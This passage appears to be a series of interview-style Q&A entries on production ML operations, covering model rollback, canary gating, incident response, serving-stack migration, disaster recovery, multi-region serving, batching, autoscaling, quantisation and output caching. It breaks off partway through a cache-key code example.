When full bundle rollback is wrong: if the incident is caused by a data quality issue that also affects the old model (e.g., upstream sensor calibration changed), rolling back won't help. If the old bundle is no longer compatible with the current data schema (e.g., a required feature was removed), rollback will fail. If the old bundle has a critical CVE, rolling back reintroduces it.

Failure modes and detection:

  • Feature store TTL: online store serves new features for TTL duration. Detection: compare feature distributions between training and serving (e.g., using a tool like Evidently or a simple KS test). Concrete: in a worked example (figures hypothetical), a rollback of the model from v19 to v18 took 90 seconds, but the feature store continued serving v19 features for 12 minutes because the online store TTL was 15 minutes. The old model's error rate stayed at 8% instead of returning to 1.2%.
  • Cache: in-process or Redis cache holds new predictions. Detection: cache hit rate and key versioning. Fix: invalidate cache or version cache keys.
  • Model registry mismatch: the registry still points to v19. Detection: check the registry entry. Fix: update registry.
  • In-flight requests: requests already in the pipeline use the new model. Detection: trace IDs. Fix: wait for drain.
  • Threshold: the post-processing threshold was changed in the new release. Rolling back the model but not the threshold leaves the old model's scores compared against the new threshold. Detection: compare threshold config. Fix: revert threshold.

Table: What a partial rollback leaves.

ComponentRolled back?Live versionEffect on old model
weightsyesv18old model restored
feature transformationnov19old model sees v19 features
feature store online valuesnov19old model sees v19 values until TTL
thresholdnov19old model scores compared to v19 threshold
runtime imagenov19new dependencies, new code paths
model registrynov19orchestrator may still route to v19

The fix: roll back the release, not the file. Keep the previous bundle deployable as a unit, rehearse the reversal with the same automation and permissions that will be used under pressure, and measure how long it takes. In the worked example, the full bundle rollback took 4 minutes 30 seconds, including feature store TTL invalidation and cache flush, and error rate returned to 1.2% within 6 minutes.

Curated: · Written: · Reviewed:

Q&A-26Traffic is back on the old model. Is the incident over?

No. Routing traffic back stops the model from causing new harm; it does not undo what the model already did. The incident closes when the affected set is bounded and the compensating work is either finished or explicitly accepted, not when the error-rate graph goes flat.

The distinction is reversibility. A routing change is a config flip: one write, instantly undone. An email sent, an account closed, a price quoted, a row written into a downstream system: those persist, and the work to unwind them is usually the longer half of the incident.

So the recovery has two phases, and only the first one is fast:

PhaseDurationWhat closes it
Traffic restored8 minutesConfig flip
Affected set queried~1 hourLogs tagged with model version + request id
Irreversible effects compensateddays to weeksCompensating procedure, run and verified

A pricing model quoted 41,000 offers below cost in four hours. Rollback took eight minutes. Honouring or renegotiating those quotes took six weeks. The 8-minute number is the one people report; the 6-week number is the incident.

That is why the enumeration has to happen before launch, not during: list the irreversible effects the model can cause, log every action with the version that produced it and a request id, and write the compensating procedure alongside the rollback. Without the version tag, the affected set is an archaeology project instead of a query.

Alternatives, and when each is right.

Full reconciliation: review and compensate every affected action. Correct when actions are externally visible, contractual, or expensive to reverse later: money moved, customer communications, regulatory records. Expensive, but the alternative is unbounded liability.

Sampled audit with a threshold: query the affected set, sample it, estimate the harm rate, compensate only if the sample shows material damage. Correct when the set is large and per-action cost is low. Wrong when harm is heavy-tailed: if one bad quote can be a six-figure loss, a 99%-clean sample tells you nothing useful.

Accept and move on: no compensation. Correct when the action is idempotent or self-correcting: cache entries, recommendations recomputed on the next request, internal drafts a human approves before send. Here logging-and-reconciliation is pure cost, and the effort belongs in the approval gate instead.

The deciding criteria are: is the action externally visible or binding? does the downstream system recompute it anyway? what does one affected action cost to compensate versus one missed action cost to leave? If the model's output is advisory and gated by a human, the affected set is empty by construction: don't build a reconciliation pipeline for it.

Failure modes. Declaring recovery at the traffic shift, which is the common one. An affected set that can't be bounded because logs record the model name but not the version or a request id. A compensating procedure written but never executed, so it fails the first time it runs.

Query the actions taken under the withdrawn version, size the compensating work, and only then call it. Rollback stops the cause, not the consequences.

Curated: · Written: · Reviewed:

Q&A-27Who stops a bad rollout at three in the morning?

The deployment controller stops it. The on-call engineer is the fallback for the ambiguous class, not the primary mechanism.

If the only thing that can stop a ramp at 03:00 is a pager, the rollout is protected by response time, not by design. Response time is a number you don't control: it depends on who is awake, how loud the alert is, and whether the person who picks it up knows what the ramp is currently doing. Assume the human is asleep and design the gate to work anyway.

That means sorting signals into two classes before the rollout starts.

Automatable: objective, binary, low-latency, and tied to a sample size. Error rate above threshold, schema validation failures, safety-filter trips, 5xx from the new version, p99 latency against a measured baseline. These belong in the deployment controller's analysis step, not in an alerting rule. Argo Rollouts and Flagger both gate a ramp on metric checks and revert without a human. An alert pages a person; an analysis step stops the ramp. Different wiring, different outcome at 03:00.

Human-reviewed: anything whose definition moves for reasons unrelated to the deploy. Conversion, signups, revenue per session. A one-point conversion dip at 03:00 is as likely to be a traffic-mix shift as a regression, and auto-rolling-back on it teaches the team to distrust rollbacks.

SignalThresholdMin sampleAction
schema invalid>0.5% of responses500 requestshalt + rollback
5xx rate>1% for 2 consecutive intervals500 requestshalt + rollback
p99 latency>2x baseline for 3 intervals500 requestshalt + rollback
conversion−1 pt vs. 7-day same-hour median—page, human decides

The controller polls each metric on an interval, counts consecutive failures, and when failures exceed the limit it halts the ramp and reverts. Two parameters decide whether that actually works: the analysis interval and the minimum sample.

Take a canary at 1% of 5,000 req/min: 50 req/min. A 10-minute interval gives 500 requests. At a 0.1% baseline error rate that's 0.5 expected errors; a genuine 0.5% regression gives 2.5. Under a Poisson approximation, a clean canary trips a >=3 errors halt about 1.4% of intervals, and a canary that really is at 0.5% goes undetected about 54% of the time. The window is too small to decide anything. Require 2,000 requests before the analysis step is allowed to pass, and hold the ramp at its current weight until then: at 50 req/min that's 40 minutes at 1%, which is why you start the canary at 5% or route synthetic traffic to it.

Three failure modes worth naming:

  • Metric lag. A p99 computed over a 5-minute aggregation window plus scrape interval means the halt decision trails the bad traffic by 5–6 minutes, and the ramp keeps advancing through it. Cap the step size so one step's blast radius is what you're willing to serve during that lag.
  • Fail-open on the metric source. If the controller can't reach the metrics backend, does it advance or halt? Configure fail-closed. A rollout that advances because the metrics backend was down is the same as having no gate.
  • Halt without revert. Pausing the ramp leaves the bad version serving the canary slice. Roll back, don't just pause.

Worked example: a candidate returned malformed responses for 9% of requests overnight. The alert fired at 02:10, was acknowledged at 07:40, and the ramp had reached 50% by then. Nothing in that path was wired to stop the ramp: the only gate was a human, and the human was asleep. The same 9% against a schema-validation check with a 0.5% threshold and a 500-request minimum halts on the first analysis interval after the canary accumulates 500 requests.

Test it by triggering a halt condition in staging with the on-call pager off, and confirm the ramp reverts on its own.

Curated: · Written: · Reviewed:

Q&A-67What does the on-call engineer do when a model degrades at 3 a.m.?

At 3 a.m. the responder's job is to stop the bleeding, not to diagnose the model. The sequence is: confirm the alert is about the model and not the serving stack, size the blast radius, apply the cheapest mitigation that restores user-visible quality, then hand the diagnosis to the owning team.

1. Model or plumbing? Check serving error rate and p99 latency first. If either moved, it is an infrastructure incident: page the platform on-call. Model degradation looks different: error rate flat, latency flat, but a quality proxy moved.

2. Size it with proxies, because you have no labels at 3 a.m. Ground truth for a ranker or a fraud model arrives hours to days later, so accuracy is not computable now. Use what is: prediction distribution (mean and entropy of scores), PSI on the top-20 features (the common convention is >0.2 = major shift), feature null rate, and the nearest business metric. CTR, accept rate, fraud catch rate. Compare the last 15 minutes against the trailing 7-day same-hour baseline, not against yesterday's average, because traffic is diurnal.

3. Pick the mitigation. Three are available and they are not interchangeable:

MitigationWhat it doesUse whenWrong when
RollbackPin the registry to the last known-good versionA new version shipped in the last 24h and the proxy moved with itThe drift is in the inputs: the old version sees the same bad features and degrades too
FallbackBypass the model for a rule or heuristicThe model output is unusable and a rule covers most trafficThe rule is far worse; you traded a 5% quality drop for a 30% one
Threshold / abstainRoute low-confidence traffic to a default or a humanDegradation is concentrated in the low-confidence bandDegradation is uniform across confidence: thresholding changes nothing

4. Execute and record. Rollback is a version pin, not a retrain:

kubectl -n ml-serving set image deploy/ranker ranker=registry.internal/ranker:2024.11.3
kubectl -n ml-serving rollout status deploy/ranker

Names are illustrative; the point is that rollback is seconds to minutes, while a retrain is hours and is not a 3 a.m. action.

5. Hand off. Page the model owner only if the fix needs a retrain or a feature-pipeline change. The responder's job ends when user-visible quality is restored, and the incident record should say which proxy moved, by how much, and which mitigation was applied.

Two failure modes to know. The silent one: if you only alert on accuracy, you alert a day late. Alert on the proxies instead. The misleading one: a rollback that does not move the proxy means the drift is upstream in the features, so fall back or fix the pipeline rather than rolling back further.

Curated: · Written: · Reviewed:

Q&A-83You are moving 30 models to a new serving stack. How do you do it safely?

Assume the models are frozen (same weights, same task) and the new stack is meant to be behaviour-preserving. Then this is thirty independent deployments, not one migration, and the unit of proof is per-model output agreement on real requests. A deployment that succeeds is not evidence; agreement is.

So: mirror live traffic to both stacks, diff outputs per model, cut over one model at a time in ascending order of blast radius, and keep the old path routable until the comparison has covered a full traffic cycle. A week, or a full weekly seasonality if the model is traffic-sensitive.

Ordering by risk: the criteria

Score each model on five axes and migrate ascending:

CriterionLow riskHigh risk
Blast radiusinternal, <1k req/dayrevenue path, >1M req/day
Output determinismargmax label, exactly diffablesampled generation
Pre/post-processing surfaceraw text in, label outtokenizer + feature transform + resize
Op coverage in new runtimestandard opscustom CUDA kernel, dynamic shapes, quantized ops
Rollback costrouting flipstateful cache or embedding index to rebuild

The two axes that actually bite are preprocessing surface and op coverage. Preprocessing is where silent drift lives: a different default resize interpolation, a tokenizer that lowercases where the old one didn't, a normalisation applied in a different order. None of those show up as a deployment failure.

The threshold, set before the run

For a deterministic classifier: exact top-1 label match ≥ 99.9% and max |Δlogit| ≤ 1e-3 over at least 10,000 mirrored requests. For a generative model, token agreement is meaningless: compare the top-1 token rate (≥ 95%) plus a task metric (F1, ROUGE, or a 200-sample human spot check) within its confidence interval of the old stack. Pick the number before you look at the results; a threshold chosen after the diff is not a gate.

What parallel running costs

It roughly doubles serving spend for the window. Illustrative: 30 models on 12 g5.xlarge-class GPUs at ~$1/hr is ~$12/hr, so a two-week 100% mirror is ~$4,000 of extra spend. You can cut that by mirroring a sample: 5–10% of traffic is plenty of statistical power for a model at 1M req/day, and useless for one at 50 req/day. Low-traffic models get a replayed corpus from logged requests instead of live mirroring; that is the case where you accept weaker evidence and compensate with a longer soak.

When a faster cutover is fine

Skip live mirroring when all four hold: low blast radius, deterministic and exactly diffable output, a rollback that is a single routing flip with the old stack still warm, and a replay corpus covering the input distribution. A runtime version bump on the same engine with the same weight format is mostly a config diff and usually qualifies. A framework change (PyTorch to ONNX Runtime, or a different serving engine) does not.

Failure modes and how you see them

  • Preprocessing drift. Diff the preprocessed tensor, not just the output: log an input hash and a checksum of the tensor entering the model on both sides. Output-only diffs tell you something is wrong; tensor diffs tell you where.
  • Silent performance regression. The new runtime falls back to a CPU kernel or a slower attention implementation and is correct but much slower. Compare p50/p99 latency and GPU utilisation per model, not just agreement.
  • Sampling nondeterminism. Temperature > 0 makes output diffs noise. Fix the seed for the comparison, or compare distributions.
  • Unrepresentative mirror. Mirroring one region or one endpoint skews the sample. Compare the request distribution, not just the count.
  • A rollback that isn't. The old stack's config drifts or its capacity is reclaimed during the window. Freeze it and keep it warm.

I have seen the big-bang version of this: all thirty cut over at once, two had different preprocessing defaults, and the incident took days to attribute because everything had changed together.

The gate

Per model: agreement above threshold across a full traffic cycle, latency and error rate inside the old stack's band, and the rollback tested by actually flipping it once in staging. Then cut over, and keep the old path routable for one more cycle.

Curated: · Written: · Reviewed:

Q&A-85Your model registry and artifact store are lost. What is your recovery position?

Core answer, first 60 seconds. My recovery position depends on what was replicated outside the blast radius, and I'd say that plainly rather than hedge.

  • If the registry and artifact store were the only copies and both are gone, my position is a retrain, not a restore. RTO is however long the training pipeline takes, hours to days, and RPO is the last training-data snapshot I still hold. Weights are reproducible from data, code and config; registry metadata is not.
  • If artifacts were replicated to a second region or account, I can restore serving in roughly 30–60 minutes, but I've lost lineage unless the registry's backing database was replicated too. Serving works; retraining and rollback decisions don't.

So the first thing I establish is the blast radius: did the loss take the registry DB and the artifact bucket together, or just one?

What each asset actually buys you.

AssetLives inIf lostRebuild from
WeightsS3/GCS bucketcan't serve current modeldata + code + config
Registry metadataMLflow Postgres / SageMaker registrycan serve, can't reproduce or roll backnothing: it is the record
Training data + codedata lake, gitcan't retrain—

The registry metadata is the genuinely irreplaceable one. Weights are a cache of a training run; lineage is the only record of which run, which data version, which hyperparameters produced them.

Trade-offs.

  • Snapshot vs continuous replication. S3 Cross-Region Replication replicates most objects within 15 minutes; with Replication Time Control you get a 15-minute SLA on 99.99% of objects. A daily snapshot job gives a 24-hour RPO for a fraction of the cost. Choose by how much retraining you'd tolerate.
  • In-store versioning vs external registry. S3 object versioning protects against overwrite and delete, not against losing the bucket or account. The registry DB is small (metadata only, typically megabytes to low gigabytes) so back it up on a tighter cadence than the artifacts; it's cheap.
  • When not to bother: if models are small and retrain deterministically in under an hour from data you already replicate, don't build artifact backup at all. Back up data and code; treat weights as disposable.

Failure modes.

  • Registry and artifacts in the same account and region: one blast radius, both gone. Separate them.
  • KMS key loss. Encrypted artifacts are unrecoverable even with a perfect backup if the key is gone. Back up keys, or hold the key in a separate account.
  • Untested restore. The backup exists; the IAM role, bucket policy or KMS grant needed to restore it doesn't. This is the most common failure, and the drill is the only thing that catches it.

What changes the decision: a restore drill into a clean account that confirms both serving and retraining. If the drill only restores weights, I've tested half the position.

Curated: · Written: · Reviewed:

Q&A-84What is different about running a model in two regions?

Assume the model is stateless and the two regions are independent replicas: no shared feature store, no shared cache. Under that assumption, two regions means two independent copies of everything the model depends on: the artifact and the features it reads. Only the artifact is easy to keep identical.

Model version. Artifacts are immutable and versioned. Promote them through one pipeline with a recorded order, and drift is binary and detectable: a region is on v52 or it isn't. A 2 GB artifact at 50 MB/s takes about 40 s to ship, so the window where regions disagree is short and bounded by the pipeline, not by traffic.

Features. These are the hard part. Each region runs its own ingestion, its own feature store, its own cache, and they drift continuously and silently. A user-profile embedding that changes daily tolerates an hour of lag. A velocity counter or an account balance does not: a 3-hour-old value is a different number, so the model returns a different decision for the same request.

That is the actual difference: routing becomes part of the answer. The same customer hitting eu and us can get two different decisions, and nothing in either region looks broken.

The trade-off: serve stale or fail over. Decide per feature, not per service, on one criterion. Does staleness change the answer?

Feature kindStaleness effectChoice
Slowly changing (profile, embedding)SmallServe stale, bound it (e.g. age < 15 min), alert past the bound
Monotonic or counter (velocity, balance, spend)Changes the decisionFail over to the fresh region, or fail closed

Serving stale is right when the decision tolerates it and the alternative is a hard failure: ranking, recommendations, search. Failing over is right when a wrong decision costs more than an unavailable one (fraud, credit, rate limiting) and a region with fresh features exists to fail to. If neither region is fresh, fail closed rather than guess.

Failure mode. A promotion reaches one region and stalls in the other. Six hours later:

RegionVersionFeature age
euv524 min
usv503 h

Identical customers got different decisions, and support found it before monitoring did. The stall was a stuck consumer: it fell behind at roughly one minute of event time per minute of wall clock, so 3 hours of lag is 3 hours of unprocessed events, not a blip.

Detection. Alert on two deltas, not on absolute values: serving-version mismatch between regions, and feature-age difference beyond a stated window (say 5 min). Absolute freshness thresholds miss the case where both regions are equally stale.

Curated: · Written: · Reviewed:

Q&A-50What is the risk of hosting several models on one endpoint?

What a strong candidate says first

Assume "one endpoint" means a single serving process (one container, one GPU pool, one request queue) fronting N models, with weights loaded on demand and a shared KV cache. The risk is that the endpoint is a shared failure domain: memory, scheduler slots and the process itself are common, so one model's behaviour becomes every model's latency. Consolidation buys GPU utilisation and warm weights; it also means you cannot state any model's p99 without knowing what else is resident.

Mechanism

Three resources are actually shared, and each couples models differently:

  • HBM / weight cache. Serving stacks keep a bounded cache of loaded weights and evict LRU when a new model is requested (Triton's model-control mode works this way). A model with a large working set evicts others; the next request for an evicted model pays a reload from disk or host memory.
  • Scheduler. A single continuous-batching scheduler sees all requests. A long-prefill request, say a 30k-token prompt, occupies compute while short decode steps for other models wait. That is head-of-line blocking across tenants.
  • Process. An OOM or crash on one model's path takes the whole endpoint, not just that model.

Worked illustration (hypothetical figures)

Endpoint with a 24 GB weight cache, three resident models at 6 GB each, 6 GB headroom. A fourth model with a 2 GB working set is added. It fits, but its traffic pushes the cache over budget and the LRU evicts B and C.

Modelp99 beforep99 after
A (new)—45 ms
B30 ms900 ms
C35 ms780 ms
endpoint mean32 ms61 ms

The endpoint mean moves 29 ms; B's p99 moves 870 ms. An endpoint-level dashboard shows a healthy service.

What to do

  • Per-model memory and concurrency caps, enforced by the server rather than by convention.
  • Pin latency-critical or business-critical models to their own capacity; co-tenancy is for best-effort or batch traffic.
  • Alert on per-model p99, queue wait time and weight-eviction rate, not endpoint mean.

Failure modes and detection

  • Eviction thrash: eviction counter climbing while per-model p99 degrades. Fix by raising the cache budget or splitting the endpoint.
  • Head-of-line blocking: queue wait time for short requests tracks long-prefill arrivals. Fix with separate queues or prefill/decode disaggregation.
  • Blast radius: one model's OOM kills all of them. Fix with per-model memory limits, and process isolation for anything on the critical path.

When not to consolidate

If two models have different SLOs, interactive versus batch, or one sits on the critical path, a shared endpoint makes the stricter SLO hostage to the looser one. The saving is real: one GPU pool instead of two. You are trading it for a correlated failure you now have to instrument for.

Curated: · Written: · Reviewed:

Q&A-34How do you choose the serving shape for a new model?

Clarify first, then answer. Two questions decide the shape: what is the deadline on the decision, and where do the inputs exist at that moment? The serving shape is the cheapest mechanism that meets both. Everything else (framework, instance type, autoscaling) follows from that.

The three shapes and what each costs.

  • Batch / precompute. Score the whole population on a schedule, write results to a store, let the consumer read them. Cost is one job per cycle: no idle capacity, no per-request overhead.
  • Online. Score at request time from features carried in or fetched for that request. You pay for always-on capacity sized to peak QPS, plus the p99 tail.
  • Streaming. Score each event as it arrives and publish to a topic. You pay for a consumer group that must keep up with the event rate, plus the operational surface of the stream itself.

Why the cost gap is so large. An online endpoint holds capacity for peak load around the clock; a nightly job saturates the same hardware for minutes and exits. For 900,000 customers, a nightly batch run costs about $4/day; the same model behind a real-time endpoint costs about $140/day: roughly $120/month versus $4,200/month. If the decision tolerates 24-hour-old scores, the endpoint buys nothing.

Decision table.

Decision deadlineWhere inputs liveShape
hours–daysstable, enumerable populationbatch precompute
sub-secondin the request or fetchable per requestonline
sub-secondarrive as events, asynchronouslystreaming

When not to use each.

  • Don't precompute when the population isn't enumerable: new users, unbounded key space, or features that only exist at request time. You end up with a request-time fallback anyway, so you pay for both paths.
  • Don't serve online when the features change daily. You get the same predictions at roughly 35x the cost.
  • Don't stream when the consumer is a nightly job. You've added a topic and a consumer group for latency nobody reads.

Failure modes and how to detect them.

  • Precompute over a non-enumerable key space: watch the request-time fallback rate. Above a few percent, the batch path isn't covering the traffic and the endpoint is doing the real work.
  • Online endpoint for slow-moving features: compare cost per decision against the batch equivalent. The ratio is the tell.
  • Streaming consumer that falls behind: monitor consumer lag against the event rate. Lag that grows monotonically means the shape is wrong or the partition count is.

The common real answer is a hybrid: precompute the slow-moving features, fetch the request-time ones, and score online. That keeps the endpoint cheap and the predictions fresh.

State the deadline and the freshness requirement before you pick. Those two numbers, not the model, decide the shape.

Curated: · Written: · Reviewed:

Q&A-35Model inference takes 8 ms. Why is the endpoint answering in 240 ms?

What I'd say first: 8 ms is the model's forward pass. The 240 ms is the request's end-to-end budget, and inference is usually the smallest term in it. Before touching the model, I'd ask whether 240 ms is p50 or p99 and whether it's one request class or all of them, then break the p99 down by stage.

A worked breakdown from a service I've debugged (numbers illustrative, shape typical):

Stagep99
feature retrieval190 ms
queueing26 ms
inference8 ms
serialisation + network16 ms

Feature retrieval dominated because it made four sequential lookups that had no dependency on each other. Issuing them concurrently took that stage to ~55 ms; caching the two that were near-static took it to ~12 ms. Quantising the model would have moved 8 ms.

The alternatives, and when each applies:

  • Parallelise the lookups. Four sequential 45 ms calls become one ~50 ms round trip. Applies when the calls are independent and the downstream can absorb the concurrency. Doesn't apply when they share a connection pool that's already saturated: you'll just move the wait into queueing.
  • Cache the features. Best when the feature is read-mostly and staleness is tolerable. A 5-minute TTL on a user profile is fine; a 5-minute TTL on a fraud signal is not.
  • Batch requests. Amortises per-request overhead across a batch. Helps throughput, not single-request latency, if your p99 is one request waiting on a batch window, batching makes it worse.
  • Optimise inference. Worth it when inference is actually the dominant term, which it isn't here.

When "optimise the dominant term" is wrong: when the dominant term is a fixed cost you don't control. A third-party API with a contractual p99, or a cold-start penalty on the first request after deploy. Then the work is to hide it (prefetch, warm pools) or to set the SLO around it, not to shave it. It's also wrong when the dominant term is queueing: queueing is a symptom of arrival rate exceeding service rate, and the fix is capacity or admission control, not making the queue faster.

Failure modes to watch:

  • Reporting means instead of percentiles. A 190 ms mean can hide a 900 ms p99 in one lookup.
  • Instrumentation that adds its own latency: per-stage timers on every request can cost more than the stage you're measuring.
  • Optimising the stage you can see. The 16 ms "other" bucket is where unlabelled network and TLS handshakes hide.

What I'd do: instrument each stage, report p50/p99 per stage per request class, then fix the top term. Re-measure after each change, because the bottleneck moves.

Curated: · Written: · Reviewed:

Q&A-37Why is CPU utilisation a poor scaling signal for a GPU endpoint?

CPU utilisation is a poor scaling signal for a GPU endpoint because the CPU is not the resource that runs out. The CPU tokenises, parses HTTP, schedules and assembles batches; the accelerator does the matmuls. CPU work per request is roughly constant and tiny next to GPU work, which scales with tokens in and out. So CPU% stays flat while the GPU saturates, and an autoscaler keyed to it fires late or never.

Order of magnitude, illustrative: tokenising a 500-token prompt costs on the order of a millisecond of CPU, while generating 200 output tokens on a single sequence costs seconds of GPU time. The CPU is well under 1% of the work, so it cannot be a proxy for it.

The second reason is that CPU utilisation is a coarse, averaged metric. It is sampled over a scrape interval and includes idle-spin and background threads, so a burst that fills the GPU queue can be invisible in the average. Lowering the CPU threshold does not fix this: it just makes the autoscaler fire on unrelated CPU noise.

A failure I have seen: an endpoint autoscaled on 70% CPU never scaled. Queue depth reached 400 requests and p99 passed 9 seconds while CPU sat at 22%.

SignalValueAutoscaler action
CPU utilisation22%no scale
GPU utilisation98%—
Queue depth400 requests—
p99 latency9.1 s—

GPU utilisation is not the answer either. nvidia-smi's utilization.gpu reports the fraction of the sample window in which at least one kernel was resident on the device. A replica running a batch of one shows ~100% and is wasting the machine; a replica running a full batch also shows ~100% and is healthy. The metric tells you the GPU is busy, not whether work is waiting.

Scale on a signal that leads demand and measures the scarce resource: in-flight requests, queue depth, or estimated work (input tokens × model, weighted by expected output length). Queue depth is the most direct: it is the thing that turns into latency. Estimated work is better when request cost varies by orders of magnitude, which it does with long prompts.

Trade-offs: queue depth is a lagging indicator of arrival rate but a leading indicator of latency, and it is cheap to measure at the router. Token-based work estimates need a tokeniser on the hot path or a cheap approximation (character count / 4). GPU utilisation is fine as a capacity-planning metric, not a scaling trigger.

Failure modes to design for:

  • Scale-up delay. Loading weights, initialising the CUDA context and warming up takes tens of seconds: a 7B fp16 checkpoint is ~14 GB, so ~7 s off local NVMe at 2 GB/s before warmup even starts. Scale on queue depth with enough headroom that new replicas arrive before the queue drains into p99.
  • Oscillation. Queue depth is bursty; without a stabilisation window and a scale-down delay longer than the model load time, replicas flap.
  • Cold-start latency. If the objective is strict, keep warm capacity rather than scaling to zero.

Detection: run a load test that ramps arrival rate past saturation and log every candidate signal alongside queue depth and p99. Pick the signal that moves first and correlates monotonically with queue depth. If two signals disagree, the one that moves first wins.

Curated: · Written: · Reviewed:

Q&A-36Batching raises GPU utilisation. What does it cost?

Latency, and mostly tail latency. Batching holds a request until a batch forms, so every request pays up to the max wait, then pays the service time of the whole batch rather than its own share of it. With max batch size B and max wait W, p99 ≈ W + service(B). Throughput scales roughly with B; latency does not stay flat while it does.

The rest of the bill: memory (KV cache scales with batch × sequence length), wasted FLOPs on padding when sequence lengths are mixed, and head-of-line blocking when one long request shares a batch with short ones.

Worked example: a ranking call inside a 50 ms page budget, batch window 10 ms:

ConfigUtilisationThroughputp99
no batching12%1x24 ms
batch 16, wait 10 ms70%4x45 ms

The utilisation win is real and the page still misses: 10 ms of wait plus a 45 ms p99 is 55 ms against a 50 ms budget. The mean barely moved; the tail did.

Why the tail moves more than the mean: the wait is a queueing delay, so it is bounded by W but not averaged away. A request that arrives just after a dispatch eats the full W. Then the batch's service time is set by its slowest member, not its average. Static batching runs the whole batch to completion together, so a 4k-token request in a batch of 128-token requests holds every short request behind it.

Alternatives. Continuous batching (iteration-level scheduling, as in vLLM and TGI) evicts finished sequences at each decode step instead of waiting for the longest, which removes most of the straggler cost at the price of a more complex scheduler. Static batching is simpler and fine when sequence lengths are uniform. Not batching is correct when the deadline is under W + service(B), or when load is low enough that batches never fill, then the wait is pure added latency with no throughput gain.

Failure modes worth naming:

  • Deadline miss on the tail only. Detect by alerting p99 against the deadline, not the mean.
  • Straggler / head-of-line blocking. Detect by bucketing per-request latency by input length; a rising correlation means one long request is holding batches.
  • Padding waste. Utilisation looks high but tokens/s does not rise with batch size. Detect by comparing useful tokens/s against padded tokens/s.
  • Memory. KV cache OOMs at high B; preemption and recompute counters climb. Detect via preemption count and how often the batch-size cap is hit.
  • Low load. The batch never fills, so W is paid for nothing. Detect via batch fill ratio.

Tune B and W against a load test that uses the real payload and sequence-length distribution, and read utilisation, throughput and p99 together rather than one at a time.

Curated: · Written: · Reviewed:

Q&A-38A new replica takes 90 seconds to become useful. What does that change?

The 60-second answer

"Useful" here means the replica can serve a correct inference request: weights loaded and any warm-up done (CUDA context, JIT, first-token graph capture). If that takes 90 seconds, the replica is a lagging indicator of capacity: by the time it can serve, the traffic that triggered the scale-out is 90 seconds old. So the thing that changes is that you can no longer scale on current load. You scale on predicted load plus a headroom floor sized to the load time.

Four things change:

  1. Autoscaling policy. Reactive scaling on CPU or queue depth is always late by the load time. Either scale on a leading signal (queue-depth trend, request-rate forecast) or keep a warm floor.
  2. Scale-to-zero. It becomes a latency decision, not a cost decision. Every idle-to-active transition pays 90 seconds on the first request.
  3. Readiness. The probe must gate on "warm and correct version", not "process up". A process that is alive but still loading will accept connections and fail them.
  4. Rollouts and failures. A rolling deploy or a node loss removes capacity that takes 90 seconds to replace. The rollout must add before it removes, and the failure budget must cover 90 seconds of degraded capacity.

Arithmetic. Suppose traffic doubles over 30 s and each replica serves 100 rps. Reactive scaling sees the load at t=0, decides, and the new replica is useful at t=90. For those 90 s you serve double the load on the old replicas. To avoid that you need headroom: at least ceil(90 s x growth rate) replicas of spare capacity, or a warm floor of one replica per 90 s of expected ramp.

First request after idle (worked example, illustrative figures):

ConfigurationFirst requestSteady stateCost
scale to zero90 s40 mslowest
warm floor of 141 ms40 ms1 replica always on

Deciding criteria. Scale-to-zero is right when idle periods are long relative to the load time and the SLO tolerates a cold first request: batch, async, or internal tools. It is wrong when the p99 SLO is tight and traffic is spiky: a 90 s first request blows a 200 ms p99 for the whole first minute after idle. A warm floor is right when the cost of one idle replica is less than the cost of the SLO breach.

Pre-baking vs shared cache. If the 90 s is dominated by pulling a multi-GB image, bake the model into the image and pay registry bandwidth instead of startup time. If the model changes often, mount it from a shared read cache so the pull is local. Decide by which dominates the 90 s: measure image pull, weight load, and warm-up separately.

Failure mode. A readiness probe that passes on process start routes traffic to a replica that errors or serves stale weights for 90 s. Detect it as an error-rate or p99 spike that correlates with scale-out events rather than with request rate.

How I would verify. Measure time from scale decision to first successful request, per version, and size the floor from that number.

Curated: · Written: · Reviewed:

Q&A-398-bit quantisation halves your memory. How do you decide to ship it?

Decision rule: ship 8-bit only if the memory or latency win unblocks something you actually need, and no business-critical slice loses more than a quality budget you set before measuring. Both halves have to clear. A large win on one does not excuse a breach on the other.

Start by writing down what the halving buys. A 7B model is ~14 GB of FP16 weights, ~7 GB at INT8. If decode is memory-bandwidth-bound, usually true for single-stream generation, tokens/s tracks bytes moved, so on an A100 (80 GB HBM2e, ~2 TB/s) the per-token floor drops from ~7 ms to ~3.5 ms, roughly 2x throughput. If you are not bandwidth- or capacity-bound, that win is zero and the question is moot.

Then check the quality side. Quantisation error does not spread evenly. INT8 maps values to 256 levels through a scale and zero point. With a per-tensor scale, the scale is set by the largest absolute value in the tensor. A few percent of activation channels carry values 10-100x the median; one such outlier inflates the scale, so the bulk of weights and activations get a handful of effective levels and round coarsely. The inputs that trigger those outlier channels are the rare ones, which is why tail slices degrade first. Calibration compounds it: if the calibration set omits the rare slice, the scale and zero point are fit to the wrong distribution and the error on that slice is bounded by nothing you measured.

So measure per slice, not aggregate, against the FP16 baseline, with the budget fixed in advance.

SliceFP16INT8Budget
aggregate0.9140.912—
head (common)0.930.93≥ 0.92
tail (rare, high value)0.68 recall0.39 recall≥ 0.65

Here the aggregate passes and the tail breaches by 26 points. Decision: do not ship as-is.

Before giving up, try the cheap fixes. Per-channel weight scales usually recover most of the tail loss. Keep the sensitive layers in FP16 (mixed precision) and you still get most of the memory back. Add the rare slice to the calibration set and re-fit. If none of those bring the tail inside budget, do not ship.

When 8-bit is the wrong tool: small models where memory is not the constraint (a 100M model is 200 MB in FP16. Quantising saves nothing you care about), accuracy-critical slices you cannot afford to lose, or serving that is not bandwidth-bound so the win is nil. When it is clearly right: capacity- or bandwidth-bound serving on hardware with real INT8 kernels (TensorRT, oneDNN, AVX-512 VNNI), where you get 2-4x throughput and the per-slice check passes.

Report cost next to quality ($/1k predictions, p99 latency, tokens/s, and the per-slice deltas) so the trade is a number someone can sign off on.

Curated: · Written: · Reviewed:

Q&A-40Can you cache model outputs?

Yes, when the key covers every input that can change the output. The key is the whole design: model version, prompt template version, feature snapshot, decoding parameters, tenant, and the input itself. Miss one and you are not caching predictions, you are serving the previous model's predictions under the new model's name.

What goes in the key

ComponentOmit it and you...
model version (weights hash or semver)serve the previous model after a deploy
prompt template versionserve answers from the old prompt
feature snapshot id (e.g. user:42@2026-06-01T12:05Z)serve stale features
decoding params (temperature, top_p, max_tokens, seed)return a sample from the wrong distribution
tenant / user scopeleak one tenant's output to another
the input textcollide unrelated requests
import hashlib, json

def cache_key(req, model_version, feature_snapshot_id):
    payload = {
        "model": model_version,
        "template": req.template_version,
        "features": feature_snapshot_id,
        "params": {"temperature": req.temperature, "top_p": req.top_p,
                   "max_tokens": req.max_tokens, "seed": req.seed},
        "tenant": req.tenant_id,
